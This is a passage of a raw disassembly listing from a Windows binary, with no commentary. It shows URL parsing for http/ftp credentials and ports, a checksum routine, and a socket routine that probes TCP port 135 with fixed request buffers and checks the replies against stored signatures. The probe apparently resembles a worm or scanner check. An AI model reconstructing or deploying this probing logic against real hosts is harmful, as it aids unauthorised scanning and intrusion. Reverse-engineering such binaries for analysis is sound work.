ebp, [esp+524h+var_4FC] loc_420C8F: ; CODE XREF: sub_4208E0+27Fj push ebp nop call near ptr 2930000h lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4208E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420DD0 proc near ; CODE XREF: sub_4015F5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 28A1D26h push eax nop call near ptr 28A1106h mov eax, esi pop esi retn sub_420DD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E00 proc near ; CODE XREF: sub_401A37j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420E39 loc_420E22: ; CODE XREF: sub_420E00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420E22 cmp ecx, 0 jz short loc_420E4A loc_420E39: ; CODE XREF: sub_420E00+20j ; sub_420E00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420E39 loc_420E4A: ; CODE XREF: sub_420E00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420E00 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EA0: ; CODE XREF: ___:00401019j mov eax, [esp+4] mov dword_50DB24, eax mov eax, offset dword_50DB24 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420EC0: ; CODE XREF: ___:0040177Bj push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_511AAC push esi call edi ; ftell mov ebp, dword_511AA4 push 2 push 0 push esi mov ebx, eax call ebp ; fseek push esi call edi ; ftell push 0 push ebx push esi mov edi, eax call ebp ; fseek add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420F10 proc near ; CODE XREF: sub_401947j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420F10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420F3F xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420F3F: ; CODE XREF: sub_420F10+26j lea ecx, [esp+90h+var_84] call sub_40142E push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015E1 push offset asc_444C6C ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420FCF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_420FCF: ; CODE XREF: sub_420F10+92j ; sub_420F10+A2j push offset asc_4453E8 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D34 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_4453E8 ; "/" push 1 jz loc_42130C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016B8 push offset asc_444C6C ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FDC lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_4210C9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_4210C9: ; CODE XREF: sub_420F10+19Cj push offset asc_4453E8 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016B8 push offset asc_444C6C ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421195 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42117E mov dword ptr [esi+54h], 50h loc_42117E: ; CODE XREF: sub_420F10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421195 mov dword ptr [esi+54h], 15h loc_421195: ; CODE XREF: sub_420F10+255j ; sub_420F10+27Cj push offset asc_4453E8 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016B8 push offset asc_444C6C ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016B8 lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42124E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42124E: ; CODE XREF: sub_420F10+321j push offset asc_4453E8 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016B8 push offset asc_444C6C ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016B8 lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421433 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_42130C: ; CODE XREF: sub_420F10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016B8 push offset asc_444C6C ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016B8 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FDC lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_448F30 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421393 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421519 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420F10+466j push offset asc_4453E8 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016B8 push offset asc_444C6C ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016B8 mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421433 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42141C mov dword ptr [esi+54h], 50h loc_42141C: ; CODE XREF: sub_420F10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421433 mov dword ptr [esi+54h], 15h loc_421433: ; CODE XREF: sub_420F10+3DBj ; sub_420F10+4F3j ... push offset asc_4453E8 ; "/" lea ecx, [esp+94h+var_84] call sub_4013ED lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E47 push offset asc_4453E8 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013ED push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_4453E8 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013ED lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E47 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40202C lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_4453E8 ; "/" mov ecx, esi call sub_4015E1 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016C7 lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421519: ; CODE XREF: sub_420F10+2Aj ; sub_420F10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420F10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4216D0 proc near ; CODE XREF: sub_401AFFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4216FB loc_4216E4: ; CODE XREF: sub_4216D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421702 inc eax cmp eax, edx jl short loc_4216E4 loc_4216FB: ; CODE XREF: sub_4216D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421702: ; CODE XREF: sub_4216D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4216D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421720: ; CODE XREF: ___:004020B8j mov eax, 2010h call sub_437B30 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42176D dec eax jz short loc_421747 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421747: ; CODE XREF: ___:00421738j mov eax, [esp+2020h] push 1388h push eax call sub_402022 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42176D: ; CODE XREF: ___:00421735j push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4218C9 cmp esi, 0FFFFFFFFh jz loc_4218C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2B66h mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40188E add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4218C2 mov ebp, dword_511CA0 push 0 push 48h push offset dword_444DB0 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 mov edi, dword_511CA4 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_4218C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4218C2 push 0 push 18h push offset dword_444E24 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_4218C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4218C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4218C2 push 10h push offset loc_444DFC lea eax, [esp+24h] push edi push eax call sub_401AFF add esp, 10h test al, al jz short loc_421891 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421891: ; CODE XREF: ___:0042186Ej push 10h push offset dword_444E10 lea edx, [esp+24h] push edi push edx call sub_401AFF add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4218C2: ; CODE XREF: ___:004217DBj ; ___:004217F6j ... push esi nop call near ptr 71AB9639h loc_4218C9: ; CODE XREF: ___:0042177Ej ; ___:00421787j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421950: ; CODE XREF: ___:00401A0Fj xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421970 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421970 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219B0 proc near ; CODE XREF: sub_4018E8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401910 sub_4219B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219F0 proc near ; CODE XREF: sub_401825j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40197E mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014E2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4019A6 mov edx, [esi+4] mov ecx, esi push edx call sub_401956 sub_4219F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A60 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40206D mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401EDD mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421AA0 proc near ; CODE XREF: sub_40197Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401EDD mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421AA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AD0 proc near ; CODE XREF: sub_402185j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40197E mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40190B sub_421AD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B10 proc near ; CODE XREF: sub_40170Dj push esi mov esi, ecx call sub_4019FB mov eax, esi pop esi retn sub_421B10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40206D mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421B50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B80 proc near ; CODE XREF: sub_401811j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40201D neg al sbb eax, eax inc eax retn 4 sub_421B80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BB0 proc near ; CODE XREF: sub_4016EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421BB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013F7 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401465 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021DA sub_421BF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C60 proc near ; CODE XREF: sub_401465j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_40110E mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_401D89 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_421C60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421CA0 proc near ; CODE XREF: sub_4013F7j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_401D89 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_421CA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013F7 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BC2 sub_421CD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D10 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421D10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421D30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D50 proc near ; CODE XREF: sub_401839j push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421D80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D5C neg al sbb eax, eax inc eax retn 4 sub_421D80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421DB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401EEC mov edi, eax push edi call sub_401B31 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421DB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B31 push edi mov [eax], ebx call sub_401B31 mov edi, [eax] push edi call sub_401B31 mov ecx, [eax] push ecx call sub_4015DC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E5B mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D98 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E50 proc near ; CODE XREF: sub_40190Bj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401D07 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401910 sub_421E50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401D07 push edi mov [eax], ebx call sub_401D07 mov edi, [eax] push edi call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017F3 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401EDD mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_4019A6j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jz short loc_421F4A loc_421F08: ; CODE XREF: sub_421EF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020D6 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A2D ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401811 test al, al jnz short loc_421F08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421F4A: ; CODE XREF: sub_421EF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421EF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421F80 proc near ; CODE XREF: sub_401910j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401E0B sub_421F80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421F95 mov edi, esi loc_421F95: ; CODE XREF: ___:00421F91j push esi call sub_40206D mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421FAA mov edi, esi loc_421FAA: ; CODE XREF: ___:00421FA6j push esi call sub_401D07 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FD0 proc near ; CODE XREF: sub_401956j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401550 sub_421FD0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421FF0 proc near ; CODE XREF: sub_40206Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421FF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422010 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422010 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T 